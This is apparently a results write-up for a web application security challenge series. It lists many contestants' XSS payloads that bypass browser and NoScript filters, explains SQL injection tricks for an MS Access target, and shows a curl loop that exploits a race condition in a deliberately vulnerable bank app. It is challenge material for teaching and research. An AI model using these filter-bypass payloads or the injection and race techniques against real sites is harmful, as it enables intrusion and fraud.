SecProject Web AppSec Challenge Series 1 Results

I am going to have a quick write up about the questions to publish all the amazing vectors. But first, thanks to those highly skilled web application security researchers who attended my challenge series­1.

You can find these awesome contestants + their results in the Hall of Fame page.

Note about Anti-XSS bypasses: NoScript has already patched all of the issues. IE9 and Google Chrome still do not have a good protection against the multi-input XSS.

XSS1 and XSS2:

Multi-injected inputs in JavaScript with duality: These two questions were very similar. In fact, they could have the same answer with a little change.

Instead of using all three inputs, some contestants solved them just by using two inputs. I think using two inputs even made it easier!

XSS technique without parentheses from Gareth Heyes also was used in several solutions (

Some of the vectors could bypass the protections by changing the input orders (I call it “input disorder” method) (for example, “input2” before “input1”).

No one solved XSS1 and XSS2 by using only 1 input and HPP (it was not part of the challenge to be fair); however, it is possible to solve these questions only by using 1 input and bypass all the browsers protections. You can define this as a self-challenge for yourself.

None of the contestants used homo-characters in ASP to bypass the protections ( , This also was not part of the challenge, but it was possible.


1- There was not a single solution that could bypass IE9 but not Google Chrome at the same time.

2- Based on the solutions that I had received, all the contestants could at least bypass Google Chrome in the first try (except Firefox without having any protection obviously). Therefore, Google Chrome is an easy target for this kind of XSS vulnerability when you can control multiple inputs.

3- NoScript was very tough target and it became harder and harder during the challenge as Giorgio Maone was constantly patching the issues. Most of the NoScript bypasses were patched in several hours only. Thanks to Giorgio for his support and providing us the best Anti-XSS solution which we can currently use and rely on. Please report any vector that still bypasses NoScript to Giorgio to help him to make it more secure.

Vectors: Google Chrome bypass only:

Some of these could bypass NoScript.

@kkotowicz (+NoScript, 2 inputs):}alert%28%27@kkotowicz%27%29;function%20b%28%29{if%28/*&input3=*/%27//

@kkotowicz (Gareth Heyes Method, -Firefox, 2 inputs):'//&input2='%2F*&input3=*%2F)){a}}%3Bonerror%3deval%3B;throw%22=alert\x28\%22kkotowicz\%22\x29%22;{if(%22 

@kkotowicz (Gareth Heyes Method):"%2b'//&input2='%2F*&input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw"\"kkotowicz\"";{if("

@kkotowicz (Gareth Heyes Method, +NoScript, 2 inputs):*&inpui3=*%2F%29%29{}}%3B;onerror=window[%22al%22%2b%22ert%22];%22%22[%22@kkotowicz%22].kkotowicz;;{if%28%22 

@superevr (2 inputs):'){}}%20try{/*&input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@superevr (+NoScript, 2 inputs):'){}}%20try{/*&input3=1*///'}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@superevr (only 1 input):*///')){}};alert(1);{{/*'

@superevr (+NoScript):')){}}%20try{/*&input3=1*///')}finally{(0)['constructor']['constructor']('\x61lert\x28/superevr/)')()};{{//

@peterjaric (input disorder?):;}alert%28%%27Peter%20JariJ%27%29;{{/*&input3=b%27%29;//*///%28%27&input1=/*%27//

@peterjaric (2 inputs):;}alert%28%27Peter%20Jaric%27%29;{{/*&input3=*///


@TheWildcat (+NoScript, Input disorder?):

@yousukezan (2 inputs):*///'));}alert('yousukezan');function%20f(){{/*

@yousukezan (+NoScript, Only 1 input!):*///%27%29%29;}alert%28%27yousukezan%27%29;{{/*

@skeptic_fx (+NoScript, 2 inputs):{}}alert%28/skeptic_fx/%29;/*&input3=three%27;{{//*///

@skeptic_fx (+NoScript, 2 inputs):')//*/{{//&input2=test1').value){}}alert(/skeptic_fx/);/*

@avlidienbrunn (2 inputs):'){}%0a}%0aalert(/avlidienbrunn/.source);/*&input3=*/function%20die(){if(1==1){//

IE9 & Google Chrome:

@kkotowicz (Gareth Heyes Method):\&input2=))a};alert('kkotowicz');;/*&input3=)%2b'*/{{//'//

@kkotowicz (IE9 only?, good obfuscation technique):*&input3=*/)){}};%2b{valueOf:location,toString:[].join,0:"jav\x61script:alert\x28\"kkotowicz\")",length:1};;;//');{{1//

@kkotowicz (IE9 only?, good obfuscation technique):\&input2=))a};%2b{valueOf:location,toString:[].join,0:"jav\x61script:alert\x28\"kkotowicz\")",length:1};;/*&input3=)%2b'*/{{//'//


@kkotowicz (Input disorder):*/)){}};alert("kkotowicz");;;//');{{1//&input1=one%22%2b%27//&input2=%27%2F*


@shafigullin:*/ //'));1 /*&input2=*/; alert("@shafigullin"); /*&input3=*/;self.close=setid;if(true){{x:1/*

@kinugawamasato (very interesting cross site technique, +NoScript):

<iframe id="x" src="\&input2=%29%29{}}location.href=name/*&input3=%29;function%20a%28%29{//*/;function%20b%28%29{//" width="320" height="240"></iframe>
<script type="text/javascript">// <![CDATA[
document.getElementById('x')"javascript:alert('Masato Kinugawa')";
// ]]></script>

@kinugawamasato (very interesting cross site technique, +NoScript):

<iframe src="{}}location.href=name;function%20a(){function%20b(){/*/%27&input2=\&input3=\&quot; id=" width="320" height="240"></iframe>
<script type="text/javascript">// <![CDATA[
document.getElementById('x')"javascript:alert('Masato Kinugawa')";
// ]]></script>

@TheWildcat (Input disorder):

@TheWildcat (Input disorder, +NoScript):

@abysssec (2 inputs):')/*&input3=*/;}t();function t(){alert(/Milad/);{//

@abysssec (2 inputs):'))/*&input3=*/alert(0);}t();function t(){alert(/Milad/);{//

@avlidienbrunn (2 inputs):')==null){+}%0A/*&input3=*/}+alert(/avlidienbrunn/.source);+function+die(){if(1==1){//

@avlidienbrunn (2 inputs):')%7B%7D%0a/*&input3=*/}alert(/avlidienbrunn/.source);function+x(){if(1==1){//

@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):<!DOCTYPE html><iframe src="'){}}%20try{/*%26input3=1*///'}finally{onerror=alert;throw document.domain};{{//"></iframe>

@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):<!DOCTYPE html><iframe src=""></iframe>


I wanted to implement this in a way that you had to use HPP or other techniques in ASP to receive all the points. However, as you may know, its implementation went wrong and made it really impossible to be exploited in most of the browsers. You can still try to see if you can break it in Mozilla Firefox for example, I couldn’t.


This question is still exploitable in Internet Explorer by using the Conditional Comments in JavaScript (


@kinugawamasato (IE9 bypassed by me [@irsdl] by using homo-characters technique in the parameter name – will be explained in another blog post):*/alert%28%22@kinugawamasato%20and%20@irsdl%22%29;{{//%20@end%20@*//*%27%29%29;};{1&in%u2119ut1=1}/*@cc_on%20@if%281%291;@else

@avlidienbrunn (IE9 cannot simply detect this!):{if(1==1){+//*/+alert(/avlidienbrunn/.source);+@if(!1)')==null){}}/*

SQL Injection:

The first part of this question was a blind sql injection. The second part was a bit trickier as it was a MS Access database; you had to write your query in a way to run differently in the second execution of the Query. Free space character (“ ”) was also filtered and you had to use something else.

Anyone who could solve the second part, automatically had the answer of the first part as well. However, all the contestants solved the both parts separately.


The free space character could be replaced by Tab character (“%09”), Line Feed (“%0A”), Carriage Return (“%0D”), and a plus sign (“%2B”). Moreover, the following characters in UTF-8 can be used in ASP to do the same thing:

%u 2556, %u 2510, %u 253c, %u 256c, %u 256b, %u 256a, %u 251c, %u 2518, %u 250c, %u 2514, %u 255d, %u 255a, %u 2553, %u 2555, %u ff0b, %u 255c, %u 255b, %u 2557, %u 2559, %u 2554, %u 2552, %u 2558


The first part could be exploited by using the normal method of blind SQL injection. As you already had the sample database and the source code, it could be done easily.

For the second part, there were three kinds of solution:

1- (The easiest) using the terminator character for MS Access and change the sorting order:

First query:

Set rs1 = oConnection.execute("select username,permission from users where id=" & input_id & " Order by id")

Second Query:

set rs2 = oConnection.execute("select username,password,permission from users where id=" & input_id & " Order by id")

You can see that in the 2nd query, we have selected the “password” field in the second field which was not in the first query. Therefore, if we could order them by using the second field, we could solve this section. Second field in the first query is “permission” and in the second query is “password”. However, as the queries already have the “Order by” part, we have to truncate the query. According to “”, we can use the “%16” character to truncate the query. Note that null character “%00” cannot be used as it will terminate the text in ASP (before going to the query).

2- Using a time function with an IF condition in MS-Access:

As you may not be able to get the milliseconds in MS-Access, you need to create a delay between the first and the second queries.

3- Using a random number generator function with an IF condition in MS-Access:

Random number generator in MS-Access is a bit tricky as it can generate the same sequence of numbers whenever you run the application. However, you can use this feature (bug?) to have a stable exploit.

Exploits/Vectors – Blind SQLi:







Exploits/Vectors – Reading the Secret:

– Using ordering trick:    




– Using time functions:



– Using random number generator:


Vulnerable Bank Application:

It was a classic question about a vulnerable bank application. However, in here it was not vulnerable to a XSS or a SQL Injection, and you still had to increase your money. This is the current vulnerability of several web applications which do not have any protections against Race Condition issues.


The problem that we had in this application was a race condition issue when it was getting the current amount and decreasing and increasing money in the database. You could increase your money basically be sending a lot of requests at the same time to transfer money from one account into another (the best exploitation technique is when you transfer money from one account into the other accounts at the same time [classic to saving and ISA in this example]). Even if I did not have any delay in the application it was still exploitable! Using Transactions ( could save this bank, but it could lead to a denial of service at the same time. The solution of this problem should be implemented really carefully to not lead to a dead-lock.


@peterjaric (Simple Explanation):

(1) newBalanceDEC = cDbl(GetAmount(userID, fromacc) - amount)
(2) oConnection.execute("update accounts set " & fromacc & "="&newBalanceDEC&" where [enabled]=1 AND ID="&userID&"")
(3) newBalanceINC = cDbl(GetAmount(userID, toacc) + amount)
(4) oConnection.execute("update accounts set " & toacc & "="&newBalanceINC&" where [enabled]=1 AND ID="&userID&"")
There is no concept of thread safety in this code, so what could happen if two request to transfer money between the same two accounts would come in at the same time? There is no guarantee that one request (call it 'A') would run first and then the other (call it 'B'). They might get interleaved like for example this (assuming transfer of 1 from Classic account with 100 to Savings with 0):
A1 newBalanceDEC = 99
B1 newBalanceDEC = 99
A2 Classic = 99
B2 Classic = 99
A3 newBalanceINC = 1
A4 Saving = 1
B3 newBalanceINC = 2
B4 Saving = 2

@peterjaric (Simple Exploit):

$ alias doit='curl http://localhost:9000/vulnbankapp/transfermoney.asp -d "userID=36&fromacc=1&toacc=2&amount=1&password=123456"'

$ doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit …


Exploitation Video by using Burp Suite Pro.: